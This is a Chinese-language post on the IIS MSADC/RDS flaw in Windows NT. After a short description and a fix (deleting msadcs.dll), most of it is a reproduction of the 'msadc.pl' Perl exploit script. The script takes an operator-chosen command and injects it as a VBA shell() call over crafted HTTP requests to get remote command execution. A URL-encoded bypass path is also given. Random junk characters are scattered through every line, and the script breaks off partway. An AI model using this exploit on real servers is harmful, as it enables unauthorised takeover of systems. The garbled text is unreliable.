IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
I)` +:+P [s]$& 涉及程序:
:fL7"\
pf~ Microsoft NT server
K.wRz/M&g 1irSI,j%z 描述:
>5kz#|@P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F5cNF5 5,^DT15a4P 详细:
G,?a8( 如果你没有时间读详细内容的话,就删除:
A_U=`M=- c:\Program Files\Common Files\System\Msadc\msadcs.dll
XtZd%
#2}, 有关的安全问题就没有了。
ibQ
xL3 +kYp!00 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]k]bLyz\J B1~`*~@
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
K*DH_\SPK 关于利用ODBC远程漏洞的描述,请参看:
=,N"% } Ekq( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "k @[7
7 qQDe'f~ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
965 x_
% http://www.microsoft.com/security/bulletins/MS99-025faq.asp >Q@y8*E\F ?32~%?m 这里不再论述。
Myg;2 . *`w>\},su 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
m`8{arz2 J>T98y/)) /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JS m7-p|E 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0H4|}+e )Z/w|5< P
nE7} #将下面这段保存为txt文件,然后: "perl -x 文件名"
9{A4> $#5'c+0 #!perl
aL&egM* #
vO9=CCxvq # MSADC/RDS 'usage' (aka exploit) script
Y0lLO0' #
>S }X)4 # by rain.forest.puppy
hwe6@T.# #
Pb T2-
F_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\Q}Y"oq # beta test and find errors!
U.~G{H`G,u O-p`9(_m use Socket; use Getopt::Std;
DN=W2MEfc getopts("e:vd:h:XR", \%args);
=kwz3Wv w$iPFZC' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:qj^RcmVPL # =y)Wuo= if (!defined $args{h} && !defined $args{R}) {
ESoC7d&.K{ print qq~
tx<^PV2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
hVB(*WA^D -h <host> = host you want to scan (ip or domain)
3p HI+a -d <seconds> = delay between calls, default 1 second
?nL,Otz -X = dump Index Server path table, if available
L58H)V3Pn -v = verbose
5p~5-_JX -e = external dictionary file for step 5
p JF
9Z _>`9]6\& Or a -R will resume a command session
;J+iwS*Z s Adb0 A ~; exit;}
i; ]0>g4
MYVVI1A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*u|1Z%XO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PPG+~.7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|n;);T( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a;;
Es $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9\Ff z& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~QUNR?h 4*f+np if (!defined $args{R}){ $ret = &has_msadc;
L{IMZ+IB2| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6l4= ^b5+A6? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Io
IhQ . "cmd /c ";
<uFj5. $in=<STDIN>; chomp $in;
g^|R;s{ $command="cmd /c " . $in ;
v8C( $<3% /=za
m3kd if (defined $args{R}) {&load; exit;}
$u, 6x~> Ici4y*`M print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|/xA5_-N &try_btcustmr;
~};q/-[r hfbu+w): print "\nStep 2: Trying to make our own DSN...";
{0,6-dd5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
G,<d;: T3=h7a %= print "\nStep 3: Trying known DSNs...";
[x,
`)Fk &known_dsn;
H2[0@|<< fH9"sBiO print "\nStep 4: Trying known .mdbs...";
Ex]Ku &known_mdb;
:'q$emtY 4/*@cW if (defined $args{e}){
0'A"]6 print "\nStep 5: Trying dictionary of DSN names...";
|[#Qk 4Ttf &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
OUwnVAZZ6 [+A]E,pv]1 print "Sorry Charley...maybe next time?\n";
WB'1_a exit;
{=d}04i)E" x.pg3mVd> ##############################################################################
J1gnR $A,YQH+ sub sendraw { # ripped and modded from whisker
i E;F=Rb sleep($delay); # it's a DoS on the server! At least on mine...
oVp/EQ my ($pstr)=@_;
8#,_%<?UVy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Au)~"N~p? die("Socket problems\n");
`wj' if(connect(S,pack "SnA4x8",2,80,$target)){
M(\{U"%@? select(S); $|=1;
|XQ_4{ print $pstr; my @in=<S>;
Pz
D30VA select(STDOUT); close(S);
QAo/d4 return @in;
]3 GO_tL } else { die("Can't connect...\n"); }}
?9eiT:2 /4 Kd ##############################################################################
tD#) zHNBX
Rx sub make_header { # make the HTTP request
/G]/zlUE my $msadc=<<EOT
RTg\c[=w POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S^D@8<6GJ User-Agent: ACTIVEDATA
oXk6,b" Host: $ip
jvR(e" Content-Length: $clen
v/~&n Connection: Keep-Alive
8[AU`F8W "G*$# ADCClientVersion:01.06
S"^'ksL\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)J+OyR=
}#&[[}@th --!ADM!ROX!YOUR!WORLD!
T]/> c Content-Type: application/x-varg
#k d9} Content-Length: $reqlen
}z9v*C &ZFHWI(P EOT
@}PX:*c ; $msadc=~s/\n/\r\n/g;
:YkAp9civ return $msadc;}
{=&({ cS =\ 5f_g2M ##############################################################################
G[u6X_Q yEh{9S%6p sub make_req { # make the RDS request
ndN*X' my ($switch, $p1, $p2)=@_;
@\oZ2sB my $req=""; my $t1, $t2, $query, $dsn;
hiV!/}'7 }{,Wha5\n if ($switch==1){ # this is the btcustmr.mdb query
up8d3 $query="Select * from Customers where City=" . make_shell();
6,~1^g* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7l*vmF6Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U6H3T0# /f oI.S elsif ($switch==2){ # this is general make table query
D(<0tU^[ $query="create table AZZ (B int, C varchar(10))";
W)o*$cu $dsn="$p1";}
B2LXF3#/ y|0/;SjV elsif ($switch==3){ # this is general exploit table query
p0CPeH $query="select * from AZZ where C=" . make_shell();
a[rb-Z $dsn="$p1";}
;0 +Dx~ 0/!0W%f[} elsif ($switch==4){ # attempt to hork file info from index server
@6R6.i5d $query="select path from scope()";
p9\*n5{ $dsn="Provider=MSIDXS;";}
<|G!Qn?2- {w"Cr0F, elsif ($switch==5){ # bad query
EvY^]M_U $query="select";
`@,Vbn^_ $dsn="$p1";}
{<}Hut:a \WdSj $t1= make_unicode($query);
c`S+>: $t2= make_unicode($dsn);
v,~fG>Y} $req = "\x02\x00\x03\x00";
+`mI\+y, $req.= "\x08\x00" . pack ("S1", length($t1));
2Ir*}s2{ $req.= "\x00\x00" . $t1 ;
e$Yvy>I'tS $req.= "\x08\x00" . pack ("S1", length($t2));
fJk'5kv $req.= "\x00\x00" . $t2 ;
Sj/v: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2w+4B4 return $req;}
s?9Y3]&+&M 8gt*`]I ##############################################################################
Bzt:9hr6BO N.nGez sub make_shell { # this makes the shell() statement
ZpBP#Y* return "'|shell(\"$command\")|'";}
{+{p. xA2I+r*o ##############################################################################
Q9f5} "8U=0 a sub make_unicode { # quick little function to convert to unicode
uz$p'Q my ($in)=@_; my $out;
{wz_ngQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
EDnZ/)6Gg return $out;}
p__N6a rL+.3ZO):P ##############################################################################
{
JDD"z H~Uy/22aQy sub rdo_success { # checks for RDO return success (this is kludge)
\K%M.>]vq my (@in) = @_; my $base=content_start(@in);
1L7^g* if($in[$base]=~/multipart\/mixed/){
:Zob"*T return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6<5:m:KE return 0;}
]Z=al`- v7#|% ##############################################################################
[[N${ C %" l; sub make_dsn { # this makes a DSN for us
Gp)J[8j my @drives=("c","d","e","f");
lt2MB# print "\nMaking DSN: ";
Nx*1m
BC foreach $drive (@drives) {
q*a~9.i@ print "$drive: ";
"VoufXM: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;g2UIb?{6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+7_U(|gO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]Z85%q^` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B~&}Mv return 0 if $2 eq "404"; # not found/doesn't exist
!
jDopE0L if($2 eq "200") {
D8Mq '$- foreach $line (@results) {
9pS:#hg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i-@V } return 0;}
@k'V`ZQF ^f"|<r ##############################################################################
TVSCjI Ux= B*m1@{ sub verify_exists {
a+~b3 my ($page)=@_;
k:@N6K/$P^ my @results=sendraw("GET $page HTTP/1.0\n\n");
/<k5"C%z return $results[0];}
%Kp^wf#o9 :kwDa
a ##############################################################################
E
GZiWBr 1:@ScHS sub try_btcustmr {
$T7 qd
my @drives=("c","d","e","f");
Nvh&=%{g my @dirs=("winnt","winnt35","winnt351","win","windows");
>w.%KVBJ Z6Kp-z(l3 foreach $dir (@dirs) {
@B(E&
print "$dir -> "; # fun status so you can see progress
F:Ps> foreach $drive (@drives) {
L=C#E0{i print "$drive: "; # ditto
:!?Fq/! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t6\--lk_ $reqlenlen=length( "$reqlen" );
#mK?:O\-1 $clen= 206 + $reqlenlen + $reqlen;
Gui[/iY,F uf (_<~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Lz:FR* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%4YSuZg else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
EQ :>]O -XwS?*O ##############################################################################
%,ScGQE E m +&I sub odbc_error {
Rxlv: my (@in)=@_; my $base;
+`ov1h my $base = content_start(@in);
SK 5]7C2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|m@>AbR5dk $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+StsSZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8?: 2< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+|5 O b return $in[$base+4].$in[$base+5].$in[$base+6];}
.4$F~!aj9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V*Xr}FE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;<GxonIV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
YmjA!n Eelv i5 ##############################################################################
m@w469&<(q RQ^
\|+_ sub verbose {
@'?gan#( my ($in)=@_;
a69e^;,>q return if !$verbose;
se=^K#o print STDOUT "\n$in\n";}
:h3n[% u$(ei2f ##############################################################################
({!H() j?k|-0 sub save {
~3f|-%Z my ($p1, $p2, $p3, $p4)=@_;
gOah5*Lj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
EN}XIa>R print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tXZMr close OUT;}
T3 4Z#PFwe oj)(.X<8N ##############################################################################
@M'qi=s* @v&